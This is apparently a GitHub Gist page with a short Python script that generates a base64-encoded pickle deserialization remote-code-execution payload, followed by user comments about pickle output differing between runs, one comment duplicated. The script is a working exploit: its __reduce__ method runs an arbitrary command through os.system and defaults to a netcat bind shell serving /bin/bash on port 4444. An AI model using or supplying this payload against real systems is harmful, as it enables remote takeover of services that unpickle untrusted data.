-
-
Save mgeeky/cbc7017986b2ec3e247aab0b01a9edcd to your computer and use it in GitHub Desktop.
#!/usr/bin/python | |
# | |
# Pickle deserialization RCE payload. | |
# To be invoked with command to execute at it's first parameter. | |
# Otherwise, the default one will be used. | |
# | |
import cPickle | |
import sys | |
import base64 | |
DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 4444" | |
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND | |
class PickleRce(object): | |
def __reduce__(self): | |
import os | |
return (os.system,(COMMAND,)) | |
print base64.b64encode(cPickle.dumps(PickleRce())) |
No problem @Anon-Exploiter. Thanks for the response π. That was a good explanation.
So I believe the conclusion is that "There is no guarantee that seemingly identical objects will produce identical pickle strings.". Which means, even though the pickle strings (serialized data) generated from cPickle.dumps() or pickle.dumps() does not give exact identical results, when deserializing them with loads() we get the same results.
Thank you @Anon-Exploiter for clearing my doubt π―. Have a nice day.
No problem @Anon-Exploiter. Thanks for the response π. That was a good explanation.
So I believe the conclusion is that "There is no guarantee that seemingly identical objects will produce identical pickle strings.". Which means, even though the pickle strings (serialized data) generated from cPickle.dumps() or pickle.dumps() does not give exact identical results, when deserializing them with loads() we get the same results.
Thank you @Anon-Exploiter for clearing my doubt π―. Have a nice day.
You're welcome! π±
Ah, should have tested before saying to just use
print()
my bad π -- Thanks for correcting.Btw, the end result Is the same for both:
Found this explanation:
https://stackoverflow.com/a/7501980